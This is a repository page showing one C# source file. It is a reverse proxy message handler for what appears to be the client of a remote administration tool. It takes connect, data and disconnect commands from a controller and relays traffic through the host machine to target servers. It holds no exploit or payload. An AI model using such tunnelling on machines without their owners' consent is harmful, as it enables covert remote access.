Files
PulsarK-main/Pulsar.Client/Messages/ReverseProxyHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

60 lines
1.9 KiB
C#

using Pulsar.Client.Networking;
using Pulsar.Client.ReverseProxy;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.ReverseProxy;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
namespace Pulsar.Client.Messages
{
public class ReverseProxyHandler : IMessageProcessor
{
private readonly PulsarClient _client;
public ReverseProxyHandler(PulsarClient client)
{
_client = client;
}
public bool CanExecute(IMessage message) => message is ReverseProxyConnect ||
message is ReverseProxyData ||
message is ReverseProxyDisconnect;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case ReverseProxyConnect msg:
Execute(sender, msg);
break;
case ReverseProxyData msg:
Execute(sender, msg);
break;
case ReverseProxyDisconnect msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, ReverseProxyConnect message)
{
_client.ConnectReverseProxy(message);
}
private void Execute(ISender client, ReverseProxyData message)
{
ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
proxyClient?.SendToTargetServer(message.Data);
}
private void Execute(ISender client, ReverseProxyDisconnect message)
{
ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
socksClient?.Disconnect();
}
}
}